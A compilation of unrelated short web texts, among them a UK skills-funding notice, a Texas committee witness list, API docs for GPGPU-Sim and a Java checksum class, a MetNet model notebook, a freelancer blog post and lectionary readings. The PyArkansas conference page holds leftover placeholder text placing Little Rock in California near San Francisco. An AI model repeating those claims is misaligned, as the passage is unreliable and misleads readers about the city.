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The spreadsheet shows the geographic delivery data for 2014 to 2015. We have based the data on learners’ postcodes and it relates to non-apprenticeship Adult Skills Budget (ASB) delivery in the 2014 to 2015 funding year.
We are publishing this data to support colleges and training organisations in discussion with local government authorities in future Adult Education Budget (AEB) commissioning discussions. This will help establish a shared understanding of the current pattern of delivery. This will be particularly important for colleges and training organisations who work in areas that have a skills devolution agreement or a skills incentive pilot. We included the same information (in a map) as part of colleges and training organisations’ individual funding statements setting out 2016 to 2017 allocations.
For further information, please contact your Central Delivery Service adviser.
Published: 13 April 2016
Updated: 6 May 2016
From: Skills Funding Agency


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WITNESS LIST Jurisprudence Committee January 29, 2001 - 1:30P SB 68 FOR: Buchanan, Bree Public Policy Director (Texas Council on Family Violence), Austin, TX Bullard, Theresa Pirtle Executive Director (Williamson County Crisis Center), Round Rock, TX Denton, The Honorable Mike Judge (Self), Austin, TX March, Dorinda L. (self), Lawton, OK Waters, Jane E. Prosecutor (Harris County District Attorney's Office), Houston, TX ON: Johnson, D'Ann Executive Director (Texas Crime Defense Lawyers Association), Austin, TX Registering, but not testifying: For: Berry, Patrick Felony Domestic Violence Prosecutor (Texas Council on Family Violence), Denton, TX Lawrence, Kevin F. Deputy Executive Director (Texas Municipal Police Association), Austin, TX Lind, Dr. Ashley Director of Clinical and Prof. Services (Genesis Women's Shelter), Dallas, TX Lomprey, Sheila Homemaker (Self), Lawton, OK McCutchan, Susan Wells Director of Development (Genesis Women's Shelter) Micco, Patricia High School Teacher (Self), Sanger, TX Milam, Cheryl Regional Administrive Coordinator (Texas Council on Family Violence), Dallas, TX Price, Tina M. Attorney, Women's Haven (Texas Council on Family Violence), Ft. Worth, TX Riddering, Hannah Taxi Driver (Texas National Organization for Women), Austin, TX Sloan, Connie D. Legal Program Director (Texas Council on Family Violence), Texarkana, TX On: Aleshire, Mary Roe (Self), Austin, TX Marrus, Ellen Professor of Law (University of Houston), Houston, TX Webb, Launi Board Member/Community Volunteer (Mission Granbury Inc.), Granbury, TX SB 140 FOR: Lind, Dr. Ashley Director of Clinical and Prof. Services (Genesis Women's Shelter), Dallas, TX Marrus, Ellen Professor of Law (University of Houston), Houston, TX McCutchan, Susan Wells Attorney, Director of Development (Genesis Women's Shelter), Dallas, TX Micco, Patricia High School Teacher (Self), Sanger, TX Price, Tina M. Attorney, Women's Haven (Texas Council on Family Violence), Arlington, TX Riddering, Hannah Taxi Driver (Texas National Organization for Women), Austin, TX ON: Barstow, Jan Technical Communications (Concerned Parents of TX/Nat'l. Assoc. of Fam. Ct. Justice), Austin, TX Registering, but not testifying: For: Berry, Patrick Felony Domestic Violence Prosecutor (Texas Council on Family Violence), Denton, TX Boyles, Sherry (Texas Association Against Sexual Assault) Buchanan, Bree Public Policy Director (Texas Council on Family Violence), Austin, TX Bullard, Theresa Pirtle Executive Director (Williamson County Crisis Center), Round Rock, TX Denton, The Honorable Mike Judge (Self), Austin, TX Lomprey, Sheila Homemaker (Sandra Walton), Lawton, OK March, Dorinda L. (Sandra Walton), Lawton, OK Milam, Cheryl Regional Administrative Coordinator (Texas Council on Family Violence), Dallas, TX Sloan, Connie D. Legal Program Director (Texas Council on Family Violence), Texarkana, TX Waters, Jane Prosecutor (Harris County District Attorney's Office), Houston, TX Webb, Launi L. Board Member/Community Volunteer (Mission Granbury Inc.), Granbury, TX SB 199 FOR: Berry, Patrick Domestic Violence Felony Prosecutor (Texas Council on Family Violence), Denton, TX Buchanan, Bree Public Policy Director (Texas Council on Family Violence), Austin, TX Denton, The Honorable Mike Judge (Self), Austin, TX Lyons, Lieutenant Steve Police (Houston Police Department), Houston, TX Milam, Cheryl Administrative Assistant, Regional (Texas Council on Family Violence), Dallas, TX Sloan, Connie D. Legal Program Director (Texas Council on Family Violence), Texarkana, TX ON: D'Ann, Johnson Executive Director (Texas Criminal Defense Lawyers Association), Austin, TX Registering, but not testifying: For: Boyles, Sherry (Texas Association Against Sexual Assault) Bullard, Theresa Pirtle Executive Director (Williamson County Crisis Center), Round Rock, TX Butts, Nina lobbyist (Texans Against Gun Violence), Austin, TX DeLord, Ron President (CLEAT), Austin, TX Herden, Matthew Police Officer (San Antonio Police Officers Association), San Antonio, TX Lind, Dr. Ashley Director of Clinical and Prof. Services (Genesis Women's Shelter), Dallas, TX Lomprey, Sheila Homemaker (Sandra Walton), Lawton, OK March, Dorinda L. (Sandra Walton), Lawton, OK McCutchan, Susan Wells Attorney/Director (Genesis Women's Shelter), Dallas, TX Micco, Patricia Teacher (Self), Sanger, TX Price, Tina M. Attorney, Women's Haven (Texas Council on Family Violence), Ft. Worth, TX Riddering, Hannah Taxi Driver (Texas National Organization for Women), Austin, TX Webb, Launi Board Member/Community Volunteer (Mission Granbury Inc.), Granbury, TX White, Glenn M. Police Officer (President Dallas Police Association), Dallas, TX On: Marrus, Ellen Professor of Law (University of Houston), Houston, TX McCaul, Michael Deputy AG for Criminal Justice (Office of the Attorney General), Austin, TX


{% extends "page_with_title_and_lede.html" %} {% load i18n %} {% block head_title %}Little Rock{% endblock %} {% block heading %}Little Rock{% endblock %} {% block body_class %}about{% endblock %} {% block lede %} [[[[The best town you probably haven't bothered visiting yet.]]]] {% endblock %} {% block content %}
PyArkansas's home is Little Rock, [[[[a delightfully quaint dairy town, nestled on a river at the southern edge of California's Wine Country. We've got beautiful scenery right on our doorstep, and we're less than an hour's drive from San Francisco over the Golden Gate Bridge. We've got a whole page dedicated to Little Rock if you want to learn more about it]]]].
[[[[Our venue, The Mystic Theatre, is not the only local example of early 1900s architecture, either: Downtown is full of great examples of Victorian-era buildings that survived the 1906 earthquake. Just down the road, you'll find the center of the maker movement and a thriving craft brewery scene]]]].
We weren't able to secure a hotel block this year so we do not have an official hotel.
The Blackwell is within walking distance and may have rooms available even though there is no block. A number of other hotels are within a 15-min drive: Find hotels near The Ohio Union.
When you get here, you're sure to find a nice place to stay that fits your budget. You can find a range of options, and some special discounts, available on the Where to Stay page.
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GPGPU-Sim
|
#include <gpu-cache.h>
Public Member Functions | |
| l2_cache_config () | |
| void | init (linear_to_raw_address_translation *address_mapping) |
| virtual unsigned | set_index (new_addr_type addr) const |
| Public Member Functions inherited from cache_config | |
| cache_config () | |
| void | init (char *config, FuncCache status) |
| bool | disabled () const |
| unsigned | get_line_sz () const |
| unsigned | get_num_lines () const |
| void | print (FILE *fp) const |
| new_addr_type | tag (new_addr_type addr) const |
| new_addr_type | block_addr (new_addr_type addr) const |
| FuncCache | get_cache_status () |
Private Attributes | |
| linear_to_raw_address_translation * | m_address_mapping |
Additional Inherited Members | |
| Public Attributes inherited from cache_config | |
| char * | m_config_string |
| char * | m_config_stringPrefL1 |
| char * | m_config_stringPrefShared |
| FuncCache | cache_status |
| Protected Member Functions inherited from cache_config | |
| void | exit_parse_error () |
| Protected Attributes inherited from cache_config | |
| bool | m_valid |
| bool | m_disabled |
| unsigned | m_line_sz |
| unsigned | m_line_sz_log2 |
| unsigned | m_nset |
| unsigned | m_nset_log2 |
| unsigned | m_assoc |
| enum replacement_policy_t | m_replacement_policy |
| enum write_policy_t | m_write_policy |
| enum allocation_policy_t | m_alloc_policy |
| enum mshr_config_t | m_mshr_type |
| write_allocate_policy_t | m_write_alloc_policy |
| union { | |
| unsigned m_mshr_entries | |
| unsigned m_fragment_fifo_entries | |
| }; | |
| union { | |
| unsigned m_mshr_max_merge | |
| unsigned m_request_fifo_entries | |
| }; | |
| union { | |
| unsigned m_miss_queue_size | |
| unsigned m_rob_entries | |
| }; | |
| unsigned | m_result_fifo_entries |
| unsigned | m_data_port_width |
| enum set_index_function | m_set_index_function |
Definition at line 327 of file gpu-cache.h.
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inline |
Definition at line 329 of file gpu-cache.h.
| void l2_cache_config::init | ( | linear_to_raw_address_translation * | address_mapping | ) |
Definition at line 99 of file gpu-cache.cc.
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virtual |
Reimplemented from cache_config.
Definition at line 104 of file gpu-cache.cc.
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private |
Definition at line 334 of file gpu-cache.h.


job1.html here.
- Area Code:
- Area Code 1
- Date Posted:
- 2013 June 21
- Dice ID:
- Dice ID 1 from dd
- Length:
- Length 1
- Location
- Location 1
- Pay Rate:
- Pay Rate 1
- Position ID:
- Position ID 1
| Skills: |
Skills 1 |
Employee Type:
Employee Type 1
- Telecommute:
- Telecommute 1
- Travel Required:
- Travel Required 1


A quick timeline
- 2017—present The Hut Group ⁄ GLOSSYBOX (acquisition) ⧉ — Frontend web developer
- 2015—present GLOSSYBOX⧉ — Frontend web developer
- 2011—2014 Werkgemeinschaft Berlin-Brandenburg ⧉ — Federal volunteer service [”Bundesfreiwilligendienst“]
- 2000—2009 Albert-Schweitzer-Gymnasium Alsfeld ⧉ — Student
Technologies I'm comfortable with
- Languages HTML5+, CSS3+, JavaScript (ES3—ES6+)
- Frameworks React, Bootstrap, WordPress
- Styling & interaction Sass/SCSS by using the BEM methodology, vanilla JS, jQuery
- Build management NPM, Webpack, Node, Babel, Gulp, Grunt
- Version management git, Github, Gitlab
- Project management Kanban, Scrum
-
Small steps with
TypeScript, PHP, Angular 2+, TypeScript, Magento, React + Redux, react-admin/admin-on-REST,
Express.js, PostCSS, Material UI, Compass, Electron,
Google Analytics, –Tag Manager, –Webmastertools, structured data - More interests Typography, UX, photography, politics, cats
- ♪ Spaces over tabs ; )
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Currently learning: Angular, Python


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One of the luxuries of working as a freelancer is having the ability to create your own schedule, work when you want, and at your own pace. Some see it as a blessing and some see it as a curse. If you’re new to the fast-growing freelancer industry, this might be a tough adjustment. Especially if you’re coming from a strict 9-to-5 work schedule.
Have you ever wished you had more than 24 hours in a day? I sure have. There came a point in my life when I had a really hard time with time management and I wasn’t about to find a way to get out of this funk.  All of my time was used up on my freelance work from coding new features, fixing bugs and much more. I was killing myself working odd hours and missing out on quality time with my family and friends.
I spent all of my efforts learning how to manage my time more effectively. Finally, I found a light at the end of the tunnel. I hope these tips will help you learn how to manage your time more effectively and become a freelance rockstar.
The first step I took to implement effective time management was to change up my work hours. Everyday I spent 8 hours in the office and I spent an additional 4-6 hours after dinner to work on my freelance projects. But this system did not give me time for my freelance activities because I spent all of my energy at work. I was physically and mentally drained and there was no way I could efficiently finish my freelance work. This is one of the main reasons why working over-time is not a good idea for any type of project.
 After dinner, I want to spend time with my family, play games with my kids, read a book, or simply, take part in a stimulating conversation where I’m not talking about work or another project. It’s important to use this after-work time to shut off and spend some time with your loved ones or simply in an activity that doesn’t require you to think so much.
For me, I usually start working at 2 AM after 3 to 4 hours of sleep. This time is ideal for me because everything is quiet and there are absolutely no distractions. No phone calls, no email, no one bothers you. For me, this is the best time to get my creative juices flowing. I use this period to do some researches and to work on my side projects. I’ve found that this is the most effective way for me to manage my time and to receive the best results out of my work. I am able to contribute to more online communities, take some online and bring myself to a new experience level. And of course as a result, I am able to earn more money from my freelance projects.
Most importantly, a healthy body is the key to reach success. I have to work 8 hours everyday in an office and an additional 4-6 hours on freelance projects. If you do the math, my body has to work 1.5 times more than usual. Crazy, right? For most people, their body and mind will become exhausted very quickly with a schedule like this. In order for me to prevent myself from becoming ill, I make a conscious effort to include additional nutrition in my meals with more fruits, protein, etc.
In additional to a healthy diet, it’s important to stay active.I try to incorporate a little bit of exercise into my daily activities. For example, I use the stairs instead of the elevator, I try to walk faster, clean the floor manually, and more. Now, I know these types of activities won’t help me become an athlete, but every little bit helps to keep my health up.
I had a misconception of working and learning and what it took to manage your time as a freelancer and a full-time employee. I was working on more freelance projects in the hopes of expanding my knowledge and my experience. In 2015, I took on so many freelance projects and it was a big mistake.
When we work on a freelance project, we have a lot of pressure to uphold the quality of code, time, and money. We have to develop new features, fix bugs, while continuously releasing and developing more new features in a very limited amount of time. And what was the result? All I was trying to was learn how to finish the project as fast a possible. As a result of this, the quality of my work suffered. I wasn’t growing or learning from my freelance projects, and I wasn’t managing my time effectively.
It’s important to learn the new technology or framework, and to become strong and familiar with it before starting a new project. As a tech freelancer, this will help you go far. Learn the technology in depth, apply it to project, and experience it. Not only will this help you earn money but it will also help you manage your time better.
After one or two projects (around 2 -3 months), you should set aside some free time to learn and research. Build your library of knowledge so you can apply these skills to future projects. This will boost your career.
From the very first time I implemented these tips, I have earned more about 1.5 to 2 times more money than before. I still have time for family, friends, learning new skills and building my technical knowledge. It’s all a balance act. Once you’ve learned how to manage your time and mastered that, everything else will fall into place.


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Welcome to LocalLibrary, a very basic Django website developed as a tutorial example on the Mozilla Developer Network
The library has the following record counts:
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--- title: MetNet Model keywords: fastai sidebar: home_sidebar summary: "Implementation of the parts of the metnet arch from the paper" description: "Implementation of the parts of the metnet arch from the paper" nb_path: "01_model.ipynb" ---
Here we are going to implement the parts of the model MetNet from "MetNet: A Neural Weather Model for Precipitation Forecasting"
from the paper, the downsampler blocks are a bunch of convs and maxpooling layers, with out anything fancy, not even activations. From the paper:
MetNet aims at fully capturing the spatial context in the input patch. A trade-off arises between the fidelity of the representation and the memory and computation required to compute it. To maintain viable memory and computation requirements, the first part of MetNet contracts the input tensor spatially using a series of convolution and pooling layers. The t slices along the time dimension of the input patch are processed separately. Each slice is first packaged into an input tensor of spatial dimensions 256 × 256 (see Appendix A for the exact pre-processing operations). Each slice is then processed by the following neural network layers:a 3 × 3 convolution with 160 channels, a 2 × 2max-pooling layer with stride 2, three more 3 × 3 convolutions with 256 channels and one more 2 × 2 max pooling layer with stride 2. These operations produce t tensors of spatial dimensions 64 × 64 and 256 channels.
I put less convs and added nn.BatchNorm2d
, as I finally ended up using another image encoder, you can choose anything form torchvision or timm
ds = DownSampler(3)
test_eq(ds(torch.rand(2, 3, 256, 256)).shape,[2, 256, 64, 64])
as we can check, it divides by four the spatial resolution,
The second part of MetNet encodes the input patch along the temporal dimension. The spatially contracted slices are given to a recurrent neural network following the order of time. We use a Convolutional Long Short-Term Memory network with kernel size 3×3 and 384 channels for the temporal encoding (Xingjian et al., 2015).
The result is a single tensor of size 64×64 and 384 channels, where each location summarizes spatially and temporally one region of the large contextin the input patch
te = TemporalEncoder(4, 8, n_layers=1)
x,h = te(torch.rand(2, 10, 4, 12, 12))
test_eq(h.shape, [2,8,12,12])
test_eq(x.shape, [2,10,8,12,12])
The leadtime is represented as an integeri= (Ty/2)−1indicating minutes from 2 to 480. The integeriis tiled along thew×hlocations in the patch and is represented as an all-zero vector with a 1at positioniin the vector. By changing the target lead time given as input, one can use the sameMetNet model to make forecasts for the entire range of target times that MetNet is trained on
seq_len=5
i=3
times = (torch.eye(seq_len)[i-1]).float().unsqueeze(-1).unsqueeze(-1)
ones = torch.ones(1,2,2)
times.shape, ones.shape
res = times * ones
res
Beware, from i=0
to i=seq_len-1
x = torch.rand(3,5,2,8,8)
i = 13
ct = condition_time(x, i, (12,16), seq_len=15)
assert ct[i, :,:].sum() == 12*16 #full of ones
ct.shape, ct[:, 0,0]
ct = ConditionTime(3)
x = torch.rand(1,5,2,4,4)
y = ct(x, 1)
y.shape
x = torch.rand(2,4,10)
feat2image(x, target_size=(16,16)).shape
To make MetNet’s receptive field cover the full global spatial context in the input patch, the third part of MetNet uses a series of eight axial self-attention blocks (Ho et al., 2019; Donahue and Si- monyan, 2019). Four axial self-attention blocks operating along the width and four blocks operating along the height are interleaved and have 2048 channels and 16 attention heads each
please install using pip:
pip install axial_attention
attn = AxialAttention(
dim = 16, # embedding dimension
dim_index = 1, # where is the embedding dimension
heads = 8, # number of heads for multi-head attention
num_dimensions = 2, # number of axial dimensions (images is 2, video is 3, or more)
)
x = torch.rand(2, 16, 64, 64)
test_eq(attn(x).shape, x.shape)
We will build a small model to try the concept first.
horizon
.head
that generates one value per timestep. If you don't put any head
you get the full attention maps.The params are as following:
image_encoder
: A image 2 feature model, can be a VGG for instance.hidden_dim
: The channels on the temporal encoder ConvGRU cell.ks
: kernel size on the ConvGRU cell.n_layers
: Number of ConvGRU cells.n_att_layers
: Number of AxialAttention layers on the Temporal Aggregator.ct_first
: If we condition time before or after image encoding.head
: The head output of the model.horizon
: How many timesteps to predict.n_feats
: How many features are we passing to the model besides images, they will be encoded as image layers. See appendix of paper.p
: Dropout on temporal encoder.debug
: If True, prints every intermediary stepThe model is structured with a encode_timestep
method to condition on each timestep the input images:
In the forward method:
feat2image
encode_timestep
and finally we return the predicted vectorLet's check:
horizon = 5
n_feats = 4
the image_encoder
must take 3 (RGB image) + horizon (for the conditining time) + feats (for the extra data planes added to image)
image_encoder = DownSampler(3+horizon+n_feats)
metnet = MetNet(image_encoder, hidden_dim=128,
ks=3, n_layers=1, horizon=horizon,
head=create_head(128, 1), n_feats=n_feats, debug=True)
timeseries data, could be other thing that is sequential as the images
feats = torch.rand(2, n_feats, 10)
imgs = torch.rand(2, 10, 3, 128, 128)
out = metnet(imgs, feats)
out.shape


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Grepy Search Dialog
The Search dialog contains the following:
Regular Expression - Check this checkbox when you wish to search using a regular expression.
Match Case - Check this checkbox when you wish to perform a case sensitive search.
Recursive Folder Search - Check this checkbox if you wish to search folders recursively (searching all folders and subfolders within the starting folder).
Search For - Here you enter the text string or regular expression that you are searching for. When using a regular expression, don't forget to check the 'Regular Expression' checkbox. You can click the down arrow on the right to access the drop down list and select previously entered search strings (the most recently selected search string will be moved to the top of the list so that frequently used items remain in the drop down list).
File Specification(s) - Enter the file specification of the files you want to search through here. Standard MS-DOS wildcard characters can be used in the file specification. You can provide multiple file specifications by separating them with a space. You can click the down arrow on the right to access the drop down list and select from previously used file specifications.
Folder To Search - Enter the full path of the folder where you want to start the search. You can click the down arrow on the right to access the drop down list and select from previously used folder locations, or you can click the "..." button to open a File Explorer dialog to browse to the folder that you wish to use.
NOTE: The "Help" button will give you a quick help list of regular expression characters that are valid when searching using regular expressions.
Here's a quick summary of valid Regular Expression characters that can be used in the 'Search For' field when seaching for a regular expression.
. - period, wildcard, matches any single character one time
(to match a period character use \.)
* - asterisk, matches the previous element zero or more times
(.* matches any string of characters)
+ - plus sign, matches the previous element one or more times
? - question mark, matches the previous element zero or one time
^ - caret, matches the beginning of a line
$ - dollar sign, matches the end of a line
[abc] - matches any single character in the group
(i.e. a, b, or c, case sensitive)
[^abc] - matches any single character that is not in the group
(i.e. not a, or b, or c, case sensitive)
[a-e] - matches a range of characters
(i.e. a, b, c, d, or e, case sensitive)
\t - matches tab character
\s - matches any whitespace character (space or tab)
\S - matches any non-whitespace character (not space or tab)
\d - matches any decimal digit (i.e. 0 through 9)
\D - matches any character other than a decimal digit
{n} - matches the previous element exactly n times
(i.e. \d{3}, matches 3 digits in a row)
(abc) - grouped expression (matches "abc", case sensitive)
| - matches any one element of the group
(i.e. (ab|bbb|c) matches "ab", "bbb" or "c")
\ - escape, used to match characters that are used as regular expressions
(i.e. "\\" matches backslash, "\*" matches asterisk)
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Tooltips through data-attributes
This tooltip script is a basic example of how data attributes can be used to add a tooltip functionality to DOM elements. The tooltips are created for each element by reading out the title attribute. Additionally the tooltip offset can be configured by passing a JSON option string to the data attribute. This concept comes from AngularJS and provides a quick extensibility.
Demo
Tooltip demo 1 (hover here)
Tooltip demo 2 (hover here)
Facts
Here are some key facts that should provide a short overview of what Tooltip.js is and how it works:
- Configuration via HTML and data attributes
- Customizable via CSS
- Extensible (JavaScript code is about 150 lines)
- Runs in all major browsers and Internet Explorer 9+
- No external dependencies
So the script is very basic and can be extended with various features. It's meant to be a learning example of how a tooltip functionality can be realized by using data attributes and parsing JSON string options.
Usage
After downloading the package from GitHub, you just need to include the JavaScript file in the HTML code of your site. That's it. Any further configuration is optional. From this point, when the HTML page has been loaded, all elements having the data attribute "data-tooltip" will be processed and provided with the tooltip functionality. The tooltip text comes from an additional title attribute. A sample element looks like this:

Demo

You can also specify additional options to define a custom offset or a CSS class for each tooltip by using a JSON option string:

Demo

This would set the tooltip offset (relative to the mouse cursor) to 10 pixels for this element. It has to be said that this is a very basic implementation of parsing a JSON option string. So you'll have to use the single quotes for attributes in order to make JSON.parse work. If you want to omit the single quotes you could use a library like the relaxed JSON parser.
In addition you may set the default options which contain values for tooltipId and offsetDefault. This will affect all tooltips on the page. You can do this by using the following code:
tooltip.setOptions({ tooltipId: "example", offsetDefault: 20 });
Finally we will have a look at the CSS configuration of the tooltip. There's always one div element added and removed to the body element when hovering over a tooltip source element. By default this div element has the id "tooltip". So the CSS is very basic to style the tooltip:
#tooltip { position:absolute; background:#DB2A64; color:#ffffff; padding:8px; }
That's all. As the Tooltip.js script is very basic, all tooltips on a page share the same look. You can go ahead and extend the script if you want to use different styles for each tooltip.


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WEEK 6 SATURDAY
Year 1 (Year 2)
FIRST READING Hebrews 11:1-7
A reading from the Letter to the Hebrews
Brethren: Faith is the assurance of things hoped
for, the conviction of things not seen. For by it the men of old received
divine approval. By faith we understand that the world was created by the word
of God, so that what is seen was made out of things which do not appear. By
faith Abel offered to God a more acceptable sacrifice than Cain, through which
he received approval as righteous, God bearing witness by accepting his gifts;
he died, but through his faith he is still speaking. By faith Enoch was taken
up so that he should not see death; and he was not found, because God had taken
him. Now before he was taken he was attested as having pleased God. And without
faith it is impossible to please him. For whoever would draw near to God must
believe that he exists and that he rewards those who seek him. By faith Noah,
being warned by God concerning events as yet unseen, took heed and constructed
an ark for the saving of his household; by this he condemned the world and
became an heir of the righteousness which comes by faith.
The word of the Lord
RESPONSORIAL PSALM Psalm 145:2-3.4-5.10-11 (R. see 1b)
R. I will bless your name, O Lord, for ever.
I will bless you day after day, and praise your
name for ever and ever. The LORD is great and highly to be praised; his
greatness cannot be measured.
R. I will bless your name, O Lord, for ever.
Age to age shall proclaim your works, shall declare
your mighty deeds. They will tell of your great glory and splendour, and
recount your wonderful works.
R. I will bless your name, O Lord, for ever.
All your works shall thank you, O LORD, and all your
faithful ones bless you. They shall speak of the glory of your reign, and
declare your mighty deeds.
R. I will bless your name, O Lord, for ever.
FIRST READING James 3:1-10
A reading from the Letter of Saint James
Let not many of you become teachers, my brethren,
for you know that we who teach shall be judged with greater strictness. For we
all make many mistakes, and if any one makes no mistakes in what he says he is
a perfect man, able to bridle the whole body also. If we put bits into the
mouths of horses that they may obey us, we guide their whole bodies. Look at
the ships also; though they are so great and are driven by strong winds, they
are guided by a very small rudder wherever the will of the pilot directs. So
the tongue is a little member and boasts of great things. How great a forest is
set ablaze by a small fire! And the tongue is a fire.  For every kind of beast and bird,
of reptile and sea creature, can be tamed and has been tamed by humankind, but
no human being can tame the tongue--a restless evil, full of deadly poison. With
it we bless the Lord and Father, and with it we curse men, who are made in the
likeness of God. From the same mouth come blessing and cursing. My brethren,
this ought not to be so.
The word of the Lord
RESPONSORIAL PSALM Psalm 12:2-3.4-5.7-8 (R. 8a)
R. It is you, O Lord, who will keep us safe.
Save me, O LORD, for the holy ones are no more; the
faithful have vanished from the sons of men. They babble vanities, one to
another, with cunning lips, with divided heart.
R. It is you, O Lord, who will keep us safe.

R. It is you, O Lord, who will keep us safe.
The words of the LORD are words without alloy,
silver from the furnace, seven times refined. It is you, O LORD, who will keep
us safe, and protect us for ever from this generation.
R. It is you, O Lord, who will keep us safe.
R. Alleluia. The heavens opened, and the Father's voice was heard: This is my beloved Son; listen to him. R. Alleluia.
GOSPEL Mark 9:2-13
A reading from the holy Gospel according to Mark
At that time: Jesus took with him Peter and James
and John, and led them up a high mountain apart by themselves; and he was
transfigured before them, and his garments became glistening, intensely white,
as no fuller on earth could bleach them. And there appeared to them Elijah with
Moses; and they were talking to Jesus. And Peter said to Jesus, "Master, it
is well that we are here; let us make three booths, one for you and one for
Moses and one for Elijah." For he did not know what to
say, for they were exceedingly afraid. And a cloud overshadowed them,
and a voice came out of the cloud, "This is my beloved Son; listen to
him." And suddenly looking around they no longer saw any one with them but
Jesus only. And as they were coming down the mountain, he charged them to tell
no one what they had seen, until the Son of man should have risen from the
dead. So they kept the matter to themselves, questioning what the rising from
the dead meant. And they asked him, "Why do the scribes say that first
Elijah must come?" And he said to them, "Elijah does come first to
restore all things; and how is it written of the Son of man, that he should
suffer many things and be treated with contempt? But I tell you that Elijah has
come, and they did to him whatever they pleased, as it is written of him."
The Gospel of the Lord


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ACLRegistry.php
Base.php
BaseException.php
BaseUrlHelper.php
CantAccessConfigFileException.php
CantEtablishDatabaseConnectionException.php
ClassNotFoundException.php
Collection.php
Config.php
ConfigValueAlreadyExistsException.php
ContextSandbox.php
Controller.php
Cookie.php
CookieJar.php
CookieNotInRegistryException.php
CouldNotWriteToCacheException.php
Csv.php
Dispatcher.php
EngineNotFoundException.php
ErrorHandler.php
HeaderAlreadySentException.php
index.php
InterfaceEngine.php
Loader.php
MethodNotFoundException.php
Model.php
MongoDbEngine.php
MySQLEngine.php
NoDatabaseTableNameException.php
NoEngine.php
NoSQLEngine.php
NotFoundException.php
PBKDF2.php
PDOEngine.php
Query.php
RequiredValNotFoundException.php
RestfulController.php
ResultSet.php
Router.php
Session.php
SimpleEngine.php
SingleResult.php
TemplateNotFoundException.php
View.php
WrongValueCountException.php
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Repository's name
Repository's description
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My GitHub
http://github.com/zeleven
My Gist
https://gist.github.com/zeleven


It is becomming really hard managing who has access to your data. As well, it is very tedious to revoke access to such data with ease. In Facebook example, you need three clicks to enter the app permission management page. Then you need two clicks each to remove each app permision. So if you have 450 apps requesting permission to use your facebook data, then that is around 1000 clicks. With this tool, you do it with 3 clicks.
For now, we are going to support Facebook, then we will add Google, Twitter, GitHub, and LinkedIn one by one with your help.


public class Checksum
extends java.lang.Object
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static int |
crc16CCITT(JBuffer buffer,
int offset,
int length)
Calculate CCITT CRC16 checksum using a CRC32 CCITT seed.
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static int |
crc16CCITTContinue(JBuffer buffer,
int offset,
int length,
int crc)
Calculate CCITT 16-bit checksum using a partially calculated
CRC16.
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static int |
crc16CCITTSeed(JBuffer buffer,
int offset,
int length,
int seed)
Calculate CCITT 16-bit checksum using a custom seed.
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static int |
crc16X25CCITT(JBuffer buffer,
int offset,
int length)
Calculate CCITT CRC16 X.25 checksum using a CCITT seed.
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static int |
crc32c(JBuffer buffer,
int offset,
int length,
int crc)
Calculate a standard CRC32C checksum using a custom seed.
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static long |
crc32CCITT(JBuffer buffer,
int offset,
int length)
Calculate CCITT CRC32 checksum using a CRC32 CCITT seed.
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static int |
crc32CCITTContinue(JBuffer buffer,
int offset,
int length,
int crc)
Calculate a standard CRC32C checksum using a partially calculated
CRC32.
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static int |
crc32CCITTSeed(JBuffer buffer,
int offset,
int length,
int seed)
Calculate CCITT CRC32 checksum using a custom seed.
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static int |
crc32IEEE802(JBuffer buffer,
int offset,
int length)
Calculates IEEE 802 based checksums including ethernet/802.3.
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static long |
flip(long c)
Flips the bytes from LITTLE to BIG ENDIAN.
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static int |
icmp(JBuffer buffer,
int ipOffset,
int icmpOffset)
Icmp.
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static int |
inChecksum(JBuffer buffer,
int offset,
int length)
Calculate a CRC16 using one's complement of one's complement
algorithm.
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static int |
inChecksumShouldBe(int checksum,
int calculateChecksum)
Computes what the checksum should be based on calculated checksum
and the
checksum in the header's checksum field.
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static int |
pseudoTcp(JBuffer buffer,
int ipOffset,
int tcpOffset)
Pseudo tcp.
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static int |
pseudoUdp(JBuffer buffer,
int ipOffset,
int udpOffset)
Pseudo udp.
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static int |
sctp(JBuffer buffer,
int sctpOffset,
int length)
Calculate CRC32c checksum of the SCTP message.
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public static int crc16CCITT(JBuffer buffer, int offset, int length)
buffer
- buffer to calculate crc onoffset
- offset into the bufferlength
- length within the bufferpublic static int crc16CCITTContinue(JBuffer buffer, int offset, int length, int crc)
buffer
- buffer to calculate crc onoffset
- offset into the bufferlength
- length within the buffercrc
- the preload value for the CRC16 computationpublic static int crc16CCITTSeed(JBuffer buffer, int offset, int length, int seed)
buffer
- buffer to calculate crc onoffset
- offset into the bufferlength
- length within the bufferseed
- starting seedpublic static int crc16X25CCITT(JBuffer buffer, int offset, int length)
buffer
- buffer to calculate crc onoffset
- offset into the bufferlength
- length within the bufferpublic static int crc32c(JBuffer buffer, int offset, int length, int crc)
buffer
- buffer to calculate crc onoffset
- offset into the bufferlength
- length within the buffercrc
- the preload value for the CRC32C computationpublic static long crc32CCITT(JBuffer buffer, int offset, int length)
buffer
- buffer to calculate crc onoffset
- offset into the bufferlength
- length within the bufferpublic static int crc32CCITTContinue(JBuffer buffer, int offset, int length, int crc)
buffer
- buffer to calculate crc onoffset
- offset into the bufferlength
- length within the buffercrc
- the preload value for the CRC32 computationpublic static int crc32CCITTSeed(JBuffer buffer, int offset, int length, int seed)
buffer
- buffer to calculate crc onoffset
- offset into the bufferlength
- length within the bufferseed
- starting seedpublic static int crc32IEEE802(JBuffer buffer, int offset, int length)
buffer
- buffer to calculate foroffset
- offset into the buffer in byteslength
- number of bytes to run calculation onpublic static long flip(long c)
c
- source valuepublic static int icmp(JBuffer buffer, int ipOffset, int icmpOffset)
buffer
- the bufferipOffset
- the ip offseticmpOffset
- the icmp offsetpublic static int inChecksum(JBuffer buffer, int offset, int length)
buffer
- buffer to reach the chunk of dataoffset
- offset into the bufferlength
- number of bytes to include in calculationpublic static int inChecksumShouldBe(int checksum, int calculateChecksum)
checksum
- checksum within the header's fieldcalculateChecksum
- checksum that was calculatedpublic static int pseudoTcp(JBuffer buffer, int ipOffset, int tcpOffset)
buffer
- the bufferipOffset
- the ip offsettcpOffset
- the tcp offsetpublic static int pseudoUdp(JBuffer buffer, int ipOffset, int udpOffset)
buffer
- the bufferipOffset
- the ip offsetudpOffset
- the udp offsetpublic static int sctp(JBuffer buffer, int sctpOffset, int length)
buffer
- the buffersctpOffset
- the sctp header offset


An implementation of two functions that estimate values for percentiles from an ordered categorical variable as described by Reardon (2011, isbn:978-0-87154-372-1). One function estimates percentile differences from two percentiles while the other returns the values for every percentile from 1 to 100.
| Version: | 1.0.3 |
| Depends: | R (≥ 3.4.0) |
| Imports: | magrittr, dplyr, purrr, stats, tibble, broom, tidyr, multcomp |
| Suggests: | spelling, knitr, rmarkdown, testthat, ggplot2, MASS, carData |
